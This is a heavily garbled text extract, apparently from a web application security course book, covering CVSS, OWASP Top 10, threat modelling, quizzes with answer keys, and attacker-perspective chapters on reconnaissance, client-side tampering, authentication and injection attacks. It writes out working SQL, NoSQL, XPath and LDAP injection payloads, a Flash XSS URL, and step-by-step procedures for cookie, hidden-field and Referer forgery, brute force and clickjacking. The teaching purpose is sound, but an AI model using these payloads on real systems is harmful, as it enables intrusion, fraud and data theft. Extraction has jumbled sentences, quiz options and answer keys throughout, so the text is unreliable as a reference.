nfidence) Exploitability = case Exploitability of unproven:0.85
proof-of-concept:0.9
functional:0.95
high:1.00
not defined:1.00
RemediationLevel = case RemediationLevel of official-fix:0.87
temporary-fix:0.90
workaround:0.95
unavailable:1.00
not defined:1.00
ReportConfidence = case ReportConfidence ofunconfirmed:0.90 uncorroborated:0.95
confirmed:1.00
not defined:1.00
From the other hand to include the environmental effect we use the
From the other hand to include the environmental effect we use the 10) the
result should be less than temporal score.
EnvironmentalScore = round_to_1_decimal((AdjustedTemporal+(10-AdjustedTemporal)
*CollateralDamagePotential)*TargetDistribution)
AdjustedTemporal = TemporalScore recomputed with the BaseScore’s Impact sub-equation replaced
with the AdjustedImpact equation
replaced with the AdjustedImpact equation
AvailImpact*AvailReq)))
Even though that using CVSS need a lot of experience to be able to give a
good estimation for different metric groups but it provides an efficient way to
score threats and be able to rank it.
Injection
Insecure
DirectObject
References
XSS Broken Auth.
Sensitive Data
Exposure TOP 10
Unvalidate Redirect and forwards Cross-Site Request Forgery (CSRF) Missing Function Level Access Control.
Using
Components with Known
Vulnerabiliti
This list of vulnerabilities is a more practical approach based on the open web
application security project that specify 10 main vulnerabilities constructed
depending on 8 datasets from 7 firms that specialize in application security.
The data spans over 500,000 vulnerabilities across hundreds of organizations
and
since HTTP is stateless, connect less protocol it will need to use Session
management to maintain state information. This can be exploited by attacker
and steal or reuse information to gain unauthorized access.
application need to embed function level access on the presentation layer and
on other layers such as functional and data layer because checking access
rights to show the functionality on UI is not sufficient as the request can be
forged by attacker so server side check should be
in contrast with XSS This vulnerability gives the attacker the ability to use
the trust given to user browser to send malicious information to another site
using the session cookie and any other automatically included authentication
information.in this case the attacker will have for that request the same access
level gained by the legitimate victim user. Using Components with Known
Vulnerabilities: .9
sites.
3.9 QUIZ
vulnerability is: .1 Potential harm that can affect your assets .a A weakness
point in the system that might be exploited by an .b attacker. The most
valuable parts of the system from beneficial point of .c view None of the
above. .d In Identifying assets in Threat modeling all is true except: .2
Identifying assets is about deciding what is worthy to be protected .a Assets
can be anything from a set of credentials to company .b reputation. We need
to decide the cost of unavailability, replace and .c compromise liability None
of the above. .d
You are requested to go through the different stages of threat .3
modeling and generate the skeleton of all needed outputs for a e
catalogue web application with SQL server back end. First we specify a
list of the assets (1 Users accounts information (a
Application and architecture overview: (3 The application is an Internet-facing Web application with a
SQL Server back (a end. The Web server is located in a perimeter network. Business and data access
logic resides on the Web server. The application enables Internet users to browse and purchase products
from the company's product catalog.
DMZ
b) Architecture
Browser HTTP(s)
Data
Biz logic
WebDB Application
identity
Anonymous user browses the product catalog to view product details. • Anonymous user searches to
locate a specific product. • Anonymous user adds an item to the shopping cart. • Anonymous user logs
in to authenticate prior to placing an order. • Anonymous user creates a new account prior to placing
anorder. • Authenticated user places an order. •
Technologies (e
The application uses the following technologies:
Web Server: Microsoft Internet Information Server (IIS) • Presentation logic: ASP.NET (C#) •
Business logic: C# Class Libraries •
Data access logic: ADO.NET, T-SQL Stored Procedures • Database Server: Microsoft SQL Server
2000 •
Application Security Mechanisms (f
The most important application security mechanisms known at this time are: Users are authenticated
with Forms authentication. • Application is authenticated at the database by using Windows •
authentication. Roles are used to authorize access to business logic. • Administration can be performed
only by physically logging on to the server • computer. No remote administration access is provided.
Application Decomposition (4
This section describes the trust boundaries, entry points, exit points, and data flows.
Trust Boundaries Identified (a
trust boundaries are:
The perimeter firewall. • The database server trusts calls from the Web application's identity. • The data
access components trust the business components to pass fully • validated data.
from the database and returned to the catalog business component. The data is bound to a data grid
control and displayed on the catalog page. An anonymous user submits a search string. The home page
accepts the •
search string and validates it by using a regular expression. The search string must be less than 50
characters in length and may include any combination of letters or numbers. The search string is passed
to the data access component. The data access component calls a stored procedure and passes the search
string as a single parameter. The user logs on. The user submits a name and password through the logon
•
form. The user name and password are handled by the logon page and passed to the membership
business logic component. This component passes the data to the data access component, which verifies
the credentials with the database to determine their validity. A catalog administrator logs on and
accesses the restricted catalog •
administration page. The catalog administration component checks the user role at the business layer. If
the user is authorized, the business component interacts with the catalog data access component to view
and amend product details.
Entry Points (c
Entry points are:
Port 80 for Web requests. • Port 443 for SSL. • All other ports are restricted by the firewall. •
The logon page, which is accessible to all Internet users. Logon is validated • by using client-side and
server-side validation controls, together with a common validation library. The amend customer details
page, which is accessible to authenticated • users only. Users are validated by using client-side and
server-side validation controls, together with a common validation library. This page
invokes functionality that can update customer details. The (GetCustomerDetails) stored procedure,
which can be called only by • the application's trusted service account. The upstream caller (trusted
Web
application business logic) performs data validation. The invoked functionality retrieves customer
details. The catalog administration page. •
Exit Points (d
Exit points are:
The search page, which writes the client's search string and the • corresponding results. The catalog
page, which displays product details. •
Threats (5
The following threats could affect the application:
Brute force attacks occur against the dictionary store. • Network eavesdropping occurs between the
browser and Web server to • capture client credentials. An attacker captures an authentication cookie to
spoof identity. • SQL injection occurs, enabling an attacker to exploit an input validation • vulnerability
to execute commands in the database and thereby access and/or modify data. Cross-site scripting occurs
when an attacker succeeds in injecting script • code.
Cookie replay or capture occurs, allowing an attacker to spoof identity and • access the application as
another user.
Information is disclosed and sensitive exception details are revealed to the • client.
An attacker manages to take control of the Web server, gain unauthorized • access to the database, and
run commands against the database. An attacker obtains the encryption keys used to encrypt sensitive
data • (including client credit card numbers) in the database.
An attacker or client obtains unauthorized access to Web server resources • and static files.
5. Vulnerabilities (6
The application vulnerabilities are:
User password storage. • Lack of password complexity enforcement. • Lack of password retry logic. •
Missing or weak input validation at the server. • Failure to validate cookie input. • Failure to sanitize
data read from a shared database. • Failure to encode output leading to potential cross-site scripting
issues. •
users will be affected. The threat is visible directly and it can be easily
discovered. Risk=45 .a Risk=62 .b Risk=20 .c Risk=35 .d
Answers key
1 2 3 4 5 b d Essay 1d2ab3e a
To be able to have a full understanding of how the attack is taking place you
need to put on the attacker hat and think like a one.
Time and place : Thinking of how, where when is important but actually it is
not that relevant because attacker will try 24/7 from everywhere as
anonymous servers and nodes are available all over the world are ready
sources
Analyzing: in this step the attacker gains the real added value after 2
analyzing and intersecting collected information. Executing: this step is
where the attacker will begin the penetration trial 3
to compromise the victim application. Covering trace: as hacking is an illegal
act any trace that lead to disclosing 4
the attacker real identity will cause him a serious problem additionally being
detected in pre-attack or during attack might cause throwing all time invested
in Mapping and analysis phases this is why the attacker needs to cover his
trace and minimize the attack detection possibility. Trace coverage is a
process that should begin with mapping phase and finalize the whole process.
4.4 Mapping
Workflow Data OS
Network Functionalities Mediators DNS Components Server
Mapping InfrastructureMapping Application
Mapping includes all tasks done for the purpose of collecting information
about application and infrastructure of the potential victim.
Mapping infrastructure: mapping infra structure includes collecting
information about servers’ networks operating systems and DNS entries of
the potential victim.
Mapping Application: this includes creating a full profile for the application
comprising functionalities, components, flow and data.
We will cover those main tasks focusing on application mapping more than
infra structure due to the subject scope.
4.5 Mappinginfrastructure
Even though that mapping infra structure is outside our course scope but it is
vital to remind with some of the main practices and tools that can be used in
that phase
As show in the above listing the netcat tool connecting the localhost,
information about the server were retrieved through the Head method.
might be assessing how the server will react to special requests. An example
about this approach is the usage of PUT method to send an empty request to
the server. The following table shows difference among
server reactions
Sun One Web Server IIS 6.0 Apache 2.0.x IIS 5.x
401 Unauthorized 411 Length Required 405 Method not allowed
403 Forbidden
Detecting Proxies: Using Trace command that echo the exact request and
detect changes. - Standard connect test - Standard proxy request -
4.8 MappingApplication
F1F2
F3
F4
Application
To Map the application functionality, contents and workflow attacker can use
many methods and apply it through different tools. 4.8.1 Mapping
functionalities and contents:
Web application crawling: using special software that automate the
generation of http requests attacker can capture the returned results and
recursively auto extract included links, forms and even included client side
script in the purpose of building a Skelton for the web site functionalities and
contents. An example about a tool that help to spidering a site is Burp suite,
the fully automated approach might not be the best solution to get a good
picture about the functionalities and contents of the application due to the fact
that automated solutions might not be able to capture links included in
complicated Java Scripts or compiled client code like flash or java applet.
From the other hand the multilevel input validation techniques used by
modern application prevent spidering applications from bypassing successive
levels with randomly generated contents. Another issue also is related to
URL based seeding used by the spidering application as the later tend to
remove repeated successive URL to prevent an infinite loop like when having
a single URL usage for multiple action http://myBank/manage.php or
conversely being locked in with same URL that uses a time stamp as
parameters.
In that type of spidering the spidering software logs user input and result
returned by the explored application.
the used tool work as a Proxy/spider that intercept all requests and
responses. In this approach the user can guarantee that session is active
and all the entered information fulfill the expected human interaction rules.
Accessing the main stream contents mainly does not provide fast and
delicious bite of information, accessing archived contents, backups, test files,
source files, comments gives lot of information and maybe some easy
example about that will be: If a published destination content were found on
address like: http://theSiteName.com/stable/en/about It willbe a good idea to
test addresseslike http://theSiteName.com/archived/en/about
http://theSiteName.com/development/en/about
http://theSiteName.com/old/en/about ……. As example adding Robots.txt to
your brute force directory might end with being able to get this file if existed
which will provide a very good source for information as attacker might be
able to map special folders or file depending on indexing rules set in that file.
If the file contains the (Disallow: /something) rule this will tell for sure that
(something) might contains a sensitive contents or refers to administrative
page that administrator does not want it to be index.
Lot of software used frequently on web server are deployed with default
configuration, folder structure and file locations which makes it good place to
dig for some information. Brute force approach is also used in checking
vulnerabilities in known set of third party application and web server
modules.an example about a good tool for that purpose is WIKTO
Mapping parameters: .2
When trying to map and profile the application you will get a lot of
information specially if you are using multiple tools and approaches,
organizing your results and deciding which are relevant is very important in
order to be able to analyses
that information later on. Using matrix and charts can be very helpful.
Creating a table on spreadsheet is a good thing to begin with:
Page name Path
aboutUs.html /about Login.php /login
Also the usage of diagrams that represent the web site is essential to
understand different functionalities.it is also preferable to give different color
to static and dynamic pages where static pages are those pages that does not
involve and
server side executable contents like files with html extension. Include the
diagram the structure of web site with available passed parameters Other
Information that should be documented in addition to pages’ information are
Directory structure, common file extension, any content based on plugin like
flash or silver lite or java virtual machine like applet, common cookies and
query string and parameters.
4.11More
Tools:
This is a set of tools that you can use enhance information collection about
targeted website or application (we will explain with more details: OWASP
DirBuster to brute force directory and files and return a • fair portion of the
website structure.
Figure
28:snapshot of DirBister tool
JAD (Java Decompiler) is a tool used to decompile java file and • extract
source code.so if you were able to capture any compiled decompilecan you
classesjava tool this usingit http://www.javadecompilers.com/jad
The usage is as follow:
jad comiledClass.class >
Netcat computer networking service for reading from and writing • to
network connections using TCP or UDP it can open a row connection to a
specific port and set up a webserver to present the content of a file.
Maltego.is an open source intelligent gathering tool it helps to find relations • between people, web
sites, IP, addresses and visualize this relation.
Wget is a tool that helps to retrieve a file from the internet it has •
recursive retrieval capability to it is convenient when you want to create a
mirror of a web site.
You can download most of the contents of any website by simply typing
Black widow: from soft byte labs is a great tool that can be
used to •
scan a web site or mirror the whole website.
If you are using IIS, minimize information leakage by limiting the .a content
of location header. To prevent the default behavior of sending the server ip
you can modify the IIS metabase using the adsutl.vbs script installed by
default in the folder
Use different root folders for user and administrator this might .b protect your
application
attacks and directory
from the effect
traversal attacks
of source-disclosure against application
If you had to use the .inc file be sure not to include any critical information,
and you better change the .inc extension to .asp or remap the .inc files to be
processed as server side script which will
prevent the discloser of the file content. put all JavaScript files to a single
folder and be sure to omit the .c execution permission from that folder. As for
IIS wrap all (inc, js,
xsl) files into COM objects remove all comment from production code, you
can of course keep .d a commented version for debugging purpose. Never use
absolute path to refer files, always use relative paths. If .e you had to use an
absolute path that include a drive letter don’t do that outside the root
directory.
The script should remove any directory traversal character like .f (../../)
Be sure to apply authentication on all directory contents and .g subdirectory.
Attack surface
Attack feasibility
attack and compromise the application Specify the feasibility of each scenario
from resource and time point of • view
4.14Attack analyzing – Specify attack surface
Application
Attack surface
With lot of information attacker should know exactly where to begin from,
the experience is essential in this level and can save lot of time. The number
of attack points can be very big, so the following is a good practical check list
to begin from to extract the attack scenarios list:
Client side validation: a fast and good place to begin from is specifying if •
the input validation is done on client, server or both sides.an easy entry might
be related to a client side only input validation. Search collected information
for any sign of possible SQL injection, •
Identify any pages that interact with mail server to try command or email •
injection
Identify the usage of native code that might be a potential vulnerability for •
buffer over flow.
Identify any known structure , folder names , themes from known third •
party application which can open the door to search for known vulnerabilities
Identify common vulnerability in the used web server. • For web application
security. You can benefit from many available tools to help to scan the
application and give a good initial picture about the attack surface.
4.15More mapping tools
4.15.1OWASP Zed Attack Proxy Project:
4.15.3 Skipfish:
Skipfish is an active web application security reconnaissance tool. It prepares
an interactive sitemap for the targeted site by carrying out a recursive crawl
and dictionary-based probes. Canbe downloadedfrom google code Skipfish
4.15.4 w3af
A high-performance, easy, and sophisticated Web application security testing
tool 4.16 Attack analyzing – feasibility & priority
Attack A
Attack B1
2
Attack C
At the end of this stage the attacker should have a list of possible attack
scenarios with priority for each attack type. The resulted priority is guided by
the complexity, purpose of attack and extra needed information. Attacker
should create a list of possible attacks along with estimated requested
resources then to specify priority. Factors that affect prioritization can be
related to the purpose or to needed resources. Attacker can use a prioritization
table that
4.17 QUIZ:
What is true concerning when where and what attackers .1 normally
strike: Attackers normally attack high importance web application. .a home
business or enterprise machines anywhere can be a target to .b attackers.
Closure time is the best time attacker might think it worth .c All Targeting
network layer attacks are much easier than going .d through application level
attack. Why an attacker might think of attacking a trivial insignificant .2
target:
To use as a spam source. .a To use it as skin to hide his tracks. .b To have fun
.c All the above .d Attackers main motivation usually Is: .3
make money .a Disturb and vandalize .b Test their skills and prove they can
.c All the above .d Select what is true concerning attacking process: .4
All the above .d Automatic Spidering for web application might not give
the .7 expected benefit in all those cases EXCEPT: complicated Java
Scripts or compiled client code like flash or java .a applet. the multilevel
input validation techniques .b having a single URL usage for multiple action
.c the absence of robot.txt file .d information that should be documented in
mapping phase are: .8 pages’ information and Directory structure .a
common file extension and content based on plugin .b cookies and query
string and parameters. .c All the above .d Connect each of the following tool
name with common functionality it .9
provides
1-Black widow a-Site structure
2-Dir buster b-De-compiler
3-JAD c-Row network
4-NetCat d-Mirror site
minimizing mapped information can be achieved through .10 using
absolute paths instead of relative ones .a increase the usage of path traversal
whenever possible .b be sure to set execution permission to active on
JavaScript folder .c otherwise none of your script will work Use different root
folders for user and administrator .d Answers key
1 2 3 4 5 6 7 8 9 10 b d d d b d d d 1d2a3b4c d
If the mapping and analysis level showed flaws on the client side it will be a
good idea to begin there. The client (browser) is easily reachable by attacker
and can be compromise and manipulated to initiate a full attack or partial
attack as base
for other types of attacks. Due to the many types of possible client attacks the
coming parts will explain some possible attack execution scenario on client
and examples about each type.
5.2 Two types ofattacks
Trickery
Attacks
Exploit Attacks
No matter what technologies are used in attacking client side, all attacks will
take one of two main types: Exploits and Trickery.
In Exploit attacks a malicious code is executed on the client side and its host
due
to resident vulnerability and of course the countermeasure can simply be
getting
rid of that exploited vulnerability, from the other hand the trickery attacks are
based on behavior of human operator after getting seduced by an attractive
message or offer to make action that disclose important information or be
used
to access the information or allow the attacker to install a software that can be
used later to extract data from client machine.
5.3 Alteringcookies
Send a request to sever Send a response with legitimate
Intercept request
with Burp
Alter and
retransmit
Write altered cookie on the client Send Altered cookie with privileged value to
sever
Send a privileged response
Figure 30:Cookie alter attack This
type of attack focus on altering content of a
cookie where cookies are text based files stored by the server on clients’
machines.
Attack requirement: Existence of a cookie used to store state information .A
The used cookie is used directly without being checked by the server. .B
Attack process Using a proxy capture the request or the response writing the
cookie. .C Alter the cookie value after intercepting request or response. .D
Release the altered request or response. .E
Example:
Client
Attacker alters .lso file
written by App.swf since he 4
Flash uses what is called Flash Cookies for client-side storage which Is a text
file with the extension (.lso) being able to access and manipulate this file will
give the ability to change the behavior of the flash object. Attack
requirement: Being able to access the LSO file .A
No validation for data retrieved from the LSO files stored on the client. .B
Attack process Access the LSO file. .A Use the LSO editor to change an
invalidated value that might give higher .B privileges
Example: This example will allow the attacker to get higher discount rate on
a purchase done through a flash object. Locate the LSO file. .A
Use LSO editor to change the discount value .B As soon as the flash object
retrieve the local storage from the lso file it will .C apply the new discount
rate if no validation where done by the server.
Figure 32:Sol Edit tool
5.5 intercepting messages from Flash, Java appletand Silverlight
Flash or java applet Sends a request Extract and
Decipher
message
Alter and
retransmit message capture and Send a privileged response Decipher
message
Figure 33: Intercepting messages from Flash, Java applet and Silverlight
Browser extension that technologies permit the execution of a code in a
sandbox, It was used originally to provide simple improving on the
presentation of the web application like creating animation or vivid contents ,
with much of flexibility and power these technologies provide developers
used it to create full component
and applications. After all those components are used in the web pages and
need to interact using the web protocols so exchanged information are
transmitted over Http and
Decompile
Figure 34: Decompilation process for Flash, Java applets and Silverlight
Attack process use Flare, JAD or Telerik decompiler depending on the type
of .1 component. The result will be ActionScript source for Flare or Java for
JAD.
review the source to identify any attack points that will enable
you to .2
reengineer the Flash object and bypass any controls implemented within it.
modify the decompiled source to change the behavior of the applet, .3
recompile it to bytecode, and modify the source code of the HTML page to
load the modified applet in place of the original. 5.7 Clickjacking
Figure 35: clickjacking concept
Clickjacking sometimes also named UI redressing also goes under the
trickery type of attacks where attacker trick the victim to click on malicious
link situated
victim should be logged to the sensitive website. .A The victim should access
a page on the attacker site .B
Attack process The attacker creates a transparent Iframe on his page and load
the page .A the user logged on with sensitive action. The attacker is hiding
the iframe using JavaScript and CSS .B
The victim cannot see the overlaying page and try to interact with the .C
visible page.
The attacker has the buttons and clicks designed to be clicked in a .D
sequence that helps the attacker to execute the malicious action on the hidden
page.
object uses an underlying sqllight data base on the client machine. Any
unencrypted contents can be viewed through sql light database browser.
SQLLight data can come of one of two sources the first is local stored info by
a
Attack requirement: Store data are not encrypted Attacker has access to
client machine.
Example: Google chrome store snapshots of all visited sites (including https)
in the
folder
C:\Users\(username)\AppData\Local\Google\Chrome\User Data\Default\top
sites Thus accessing that file will enable the attacker to read and see
unencrypted visited sites and image information stored in that file. Open
SQLLight database browser (portable version is available in the .A
supplementary materials)
Click on browse data tab to see all the information stored in that file. .B
5.9 ActiveX attack
ActiveX and browser extension can be very dangerous specially if it has a
high privilege like memory reading or disk writing and it is half way to
breaking the
From the other hand browser extensions are becoming client machine. also
popular and normally users tend to trust specially if it provides good service.
Attack requirement: ActiveX or browser extension has a high privilege. •
ActiveX is vulnerable or built as malicious component with attack • purpose.
Attack process
Vulnerability
LoadURL method can violate same origin policy
ADODB.Stream None—used to write data after exploiting LMZ Files with arbitrary content placed in
known locations
Shell Application
HTML Help Stack-based buffer overflow from overlong “Contents file” field in .hhp file
This attack depends on the ability to pass a URL through Flash (.swf) file
without any validation of the inserted url Attack requirement A flash file
(.swf) on the site. •
Attack process Use javascript directly in the url Attack Example: The
following code will allow the execution of javascript and showing the alert,
thus successful XSS attack. http://site/flash.swf?url=javascript:alert('XSS')
User Name
User Name <input type="text" name="usrname" maxlength="10">
Max length is a restriction from client side to control the number of
characters entered in input field.
In this form
the maxlength attribute is restricting the size of password to (20) we will
change that to be able to write a syntax that will initiate sql injection attack.
1- Using Burp we will capture the response for login page 2- Alter the
maxlength attribute to be 255. 3- Edit the text in password field to be
Password’ or ‘any’=’any
Figure 37:the figure shows how to capture the response with Burp suite
Intercept request
with Burp
Decode
and
extract the
value
Alter the
value
and
recode it
resend Altered request with privileged value to sever Send a privileged response
Figure 38: Altering ViewState ViewState is a method to preserve state
information
when submitting a form to keep the form contents after postback, it supports
adding any extra information
ViewState[“Key”]= value;
Create
legitimate
session Invalidate credentials
without invalidating the session
Use the
application with
privileged role
Session
Time
Figure 39: Time to create to time to use
Normally login before the denial period and extends the session time out 1
using the given option. After the denial period the user is still able to execute
most of the denied 2
activities.
Example: One of the example given about this type of attacks is a successful
fraud done by a person who was authorize to reach a shared bank account
then denied. This person opened the e-banking account and authenticate
himself before the removal of his name from the authorized users and
activated the (maintain the session opened) option. After the removal of the
person name from the shared account he still able to initiate transfer order
and move money to another account.
returns a JSON array. • responds to GET requests. • the browser making the
request has JavaScript enabled (very likely the • case)
The attacker sends the victim browser a link for funny movie.
The victim opens the link that sends request to attacker website containing a
page with the following script
The previous listing will define a setter and enable the sending of the
information requested by the browser to the attacker server. This attack will
be valid if the user is authenticated through a cookie to the server containing
the JSON service.
BRAND
The attacker might not be using his server to host the pages but also a
compromised server. A compromised or shared computer is used to send
emails. Collected information are the pay pal credentials that can be used
directly to pay for purchases.
5.16 Altering hidden fields
This
type of attack focus on altering data and affecting data integrity it depends on
changing the information passed as part of request as a hidden field.
Attack requirement: One or more parameter is passed as hidden field .A The
server is not checking those parameters before usage .B
Attack process Using a proxy capture the request. .A Alter the hidden field as
required .B
the previous listing represent a request sent from a form having the product id
as part of the request header in time where the quantity (q) and the price (p) is
sent as hidden value in the request body. Using a proxy tool like (Burp
Proxy) setup the proxy to intercept requests .A
sent by your browser. Using intercept tab edit the sent header and product
price (p) as required. .B C. Forward the altered request using (action) button
5.17 Hashed hidden fields
OR
67fdg43098743mazxcd445
Send Request
to a privileged
Attacker page
page faking
Referer Header
considered it is a local
request from trusted
page Server Figure 42: altering Referrer Header process
page from which the request id originated. Attack process Using a proxy
capture a request heading to restricted page. .A Alter the Referer Header to
match a page with the same or higher .B authority level C. Release the altered
request. Example:
In the previous example (Referer header) is forged to show that the request is
sent by (adminAct.php) page that has high privilege.
If the application developer is using ($_SERVER['HTTP_REFERER']) to
check If
the request is coming from an authorized page this will give the request the
ability to reach the page and actually show (CreateUser) page.
Attack process This attack considered one of the easiest attacks, it can be
mainly done without the need of any tool but in the worst scenario all what is
needed is: Using a proxy capture the request. .A
Web Form
Intercept
request with
Proxy like Burp
Manipulate Values
and add malicious
Contents (SQL
No
Server
lida
Send privileged response to
client (and/or )
execute a malicious code
Attack process Using a proxy capture the response containing the page with
the form. .A Alter the values to required values to execute any attack like
SQL .B injection. Alter the JavaScript validation by disable or by simply
returning valid .C whatever value is entered. Release the altered response and
submit the form. .D This attack type will be a base to initiate buffer overflow
or SQL injection or Cross site scripting attack. Example:
<form name=”myForm” action=”dosomething.php” method=”post”> <input
type=”text” name=”Quantity”>
} else { alert(‘This is not a valid quantity you can enter a number from 00 to
99’); return false; } }
</script>
In this example it. Using Burp we will capture the response for loginpage 1
Change the script to return true whatever was the regular expression test 2
result. Put any required no numeric value in the quantity field 3
4- Submit the form.
5.21 QUIZ:
All the followingattacks are exploitbased attackEXCEPT: .1
Client has enabled JavaScript in order to write the cookie .a The server send
the cookie encrypted .b The time between writing the cookie and resend
request to the .c server is less than session time.
The server is not checking the value sent through the cookie. .d Flash based
application can be exploited through: .3 The manipulation of .lso files .a
Intercepting messages between the server and flash using burp .b and alter
contents.
When the backend logic is created with PHP or JSP .a When (MAC) method
is not enabled .b When the object stored in ViewState has high complexity .c
All the above. .d Invalidating session is important when invalidating
credentials of an .6
Because it will prevent any Form based attack .b It will help in minimizing
the threat of Refer Header Attack .c All the above .d For JSON Hijack
attack to success: .7
Victim should access a vulnerable site that respond to get request. .a Victim
should access attacker site .b Vulnerable site should send JSON Array. .c All
the above .d
Is Secure if the value is hashed with known algorithm like MD5. .b Is Secure
if the value is hashed with unknown algorithm .c None of the above. .d
Initiating an attack on a web application:.10
apply authentication in a web application. The used credentials are mostly the
user name and a password but sometimes in critical application extra
credentials are applied like the usage of special pin code or a key generate
Client SSL certificate with or without a smart card but this can represent a •
distribution problem
Some application uses Windows-integrated authentication using NTLM or •
Kerberos and authentication services like windows passport.
Figure
44: Bad passwords
value. Some users tend to leave the default or preconfigured password which
makes the attack much easier. Attack requirement: Week or no password •
Attack Process a- Try empty and default values for password. b- Try
common dictionary password. c- If you own an account or self registered try
short passwords, user name like passwords to check if that is permitted to
disclose the password rules. 6.3 Brute force attack
Login Process
Figure 45:Brute force attack technique
No or client side only check for number of login fails. .A Not very gonium
powerful password. .B If a self-registering account Is available better to
create an account. .C
Attack process:
Before going directly to automate the attack explore the locking policy .A
manually beginning by trying at least (10) bad password values on the
same account, check any messages and accessibility of the account with the
right password. If the account was locked, try to monitor any cookie to
discover it the .B locking is based on client side information that you can
manipulate. See if the system allows you to login with right user name and
password, .C if yes you can keep guessing. Monitor to find any difference in
response between bad login and .D successful one to depend on when start in
automated phase. A Burp comparer tool can provide a good way to do that
password before matching with new password. Another issue raise when
dealing with Forgotten password, a weak method might lead to use challenge
questions that are much more easier
to break, like pet name or first name for mother..etc. Another source of
danger as mentioned is the option of remembering the password which can be
reflected using cookie based approach through non encrypted or weak
encryption that might allow the attacker to
understand the identifier used and generate similar one.
Attack requirement: No or weak locking policy .A Verbos messages for false
and valid login .B Storing password locally through weak identifier .C Attack
process: For change and forgot password process is totally similar to brute .A
force process As for the password remember option user should check for .B
cookies and any stored non encrypted or weakly encrypted value or identifier
by capturing and examining the sent request after activating remember me
option using a tool Like Burp proxy. If the identifier can be easily generated,
generate different .C identifiers and iteratively check if this will allow
compromising other accounts using Burp to achieve that. 6.5
ImpersonationFunctionality
Figure 47:
impersonating functionalities
tasks on his behalf. The main issue related to impersonation that the
functionality is treated as hidden functionality with minimal control over
access or as a back door that can
Attack process: Use the same process applied in brute force attack or bad
password depending on the case
6.6 Otherissues
MISCELLANEOUS
6.7 Authorization
Contextual Vertical
F.1,3 F.1,2 F.1,1 F.1,n
Horizontal
F.m,1 F.m,n Business Logic
Figure 48: Authority types
set for each type of users an example is the difference in authority between
administrator and a normal user.
Horizontal authority: this type of authority is about controlling the access 2
in the same functionality, as example having the authority to access the web
mail functionality does not mean ability to access any email account.
Contextual authority: this type of authority is related to current 3
application state which can be explained in the perspective of multistage
process where available functionalities are specified according to present
state.
Be sure to map all functionalities by checking Burp’s site map. .B use the
context menu to select the “compare site maps” feature. .C To select the
second site map to be compared, you can either load this .D from a Burp state
file or have Burp dynamically re-request the first site
To test horizontal access controls between users of the same type, you can .E
simply load a state file you saved earlier, having mapped the application as a
different user. For testing vertical access controls, it is preferable to re-
request the high-privilege site map as a low-privileged user, because this
ensures complete coverage of the
relevant functionality. To re-request the first site map in a different session,
you need to .F configure Burp’s session-handling functionality with the
details of the low-privilege user session (for example, by recording a login
macro or
The (- -) is the special syntax to begin comment in SQL, which means that
the interpreter will ignore everything after (--) and will retrieve the admin
SQL
SQL can be simply exploited through injecting special words and structures
to compromise user accounts and personal information, fake orders and
payment details. the following examples are instances that explain different
context that
Try two quotes and monitor change in behavior. • Try to use concatenation
on input fieds ‘||’ FOO (in oracle) or ‘+’Foo (in ms • sql) or ‘ ‘Foo (in mysql)
if no difference is detected then the application is
vulnerable
6.9.1 Attack Select statement
Listing SELECT author, title, year FROM books WHERE publisher =
‘pearson’ and published=1 Attack Using the value (pearson’ OR ‘a’=’a) will
make the query show all book information for all publishers. SELECT
author, title, year FROM books WHERE publisher = ‘pearson’ OR ‘a’=’a’
and published=1
6.9.2 Attack insert In this example an insert statement dedicated to create a
new account can be compromised to create an account with administrator
privileges.
Listing INSERT INTO users (username, password, ID, privs) VALUES
(‘daf’,‘secret’, 2248, 1) Attack We can simply use the value foo’, ‘bar’,
9999, 0)-- to enable this hack Select * from users where username = ‘admin’-
-‘ and password = ‘anyPass’
6.9.3 Attack update statement
This example will use injection in the update statement related to password
changing functionality to change the administrator password. Listing
Attack If the new password value is set to ( admin’ or 1=1- ) the resulting
query will become UPDATE users SET password=’theNewPass’ WHERE
user = ‘admin’ or
1=1
6.9.4 Attacking Delete statement
Using a method similar to the one used with update statement attacker can
cause a great damage injecting into delete statement The following listing is
dedicated to remove an order item from an order
Attack : Setting order_item_code value to( ‘ or 1=1 )will cause the deletion
of all orders in orders table.
Using union can open the door widely open to execute a separated select
query. a simple query like the one shown in the following listing can be
exploited to retrieve user names and passwords for all users.
No SQL data base does not follow the same rules as the relational data bases
therefore it does not support SQL queries, the alternative in no SQL
databases differ depending on the database type. A list of common query
methods includes: Key / value lookup •
Injection in mongo DB: Mongo db is one of the no sql databases that gained a
wide popularity specially with web application that focus on scalability. No
sql Injection is possible by inserting a value with special characters. the
following listing is php code that will create a Mongo DB instance and
retrieve an array containing the username and password. Listing $m = new
Mongo(); $db = $m->cmsdb; $collection = $db->user; $js = “function() {
return this.username == ‘$username’ & this.password == ‘$password’; }”;
$obj = $collection->findOne(array(‘$where’ => $js)); if (isset($obj[“uid”])) {
$logged_in=1; } else { $logged_in=0; }
Attack: Using the value of ( a’ || 1==1 || ‘a’==’a ) for user name and any
password this will result in executing the following code:
‘ or substring(name(parent::*[position()=1]),2,1)=’a ‘ or
substring(name(parent::*[position()=1]),2,1)=’b ‘ or substring(name(parent::*
[position()=1]),2,1)=’c ‘ or substring(name(parent::*[position()=1]),2,1)=’d
Attack requirement: No proper sanitization on the user input that will be part
of an LDAP query. Attack example: If the following is the listing of a query
used in the application to retrieve a sale personnel information in a specific
city. (&(city=LA )(department=sales)) Now if the injection is done to
change the city to
Encrypt and disclose the key: Using the same encryption for two pair of 1
information one is visible and the other is not.
An example about that might appear in (remember me) functionality
where the developer implements the same encryption key for a cookie
containing session ID information and what is called screen name (the user
name shown on screen).
The main problem in the logic is that the attacker can tamper and replay
what is encrypted and protected. This actually is not the problem of weak
encryption but the usage of the same key with value that is visible (the
screen name) which makes it easy for attacker to predict the used key and
unlock the encryption of the Session ID information.
Overloading dual privileges: Implementing an overloaded method for 2
password change for administrators and normal users depending on the
existence of the (old password parameter) which gives the attacker the
ability to use non valid parameter list to be routed to administrator’s version.
Multistage manipulation: Sometimes the developer makes a bad 3
assumption that user will follow all steps in a multistage task in the right
sequence but this is not always the case as an attacker can manipulate the
client to avoid passing through a specific stage which will cause
sometimes a great damage.an example about this attack is manipulating a
sequence parameter that hold the current stage in purchasing multistage task
to purchase a digital content without passing in payment phase.
Overlapped checks: Another case is the case where the business logic 4
does not consider out of band inputs for all methods related to same
input. an example is a banking web application containing transfer
method dedicated to do the transfer and a pre-check method to restrict
transfers for amounts higher than (10,000$) and route such transfers to
be approved by senior manager. The pre-checked method considers only
the check for a number higher than 10,000$ so the flaw was that even a
negative number will pass through that test and the negative value will go
directly to the transfer method that takes the absolute value of the
number so if somebody tries to transfer (-900,0000$) the transfer will be
authorized with no senior manager review.
Bulk but for a while: A scenario where attacker can get benefit from bulk 5
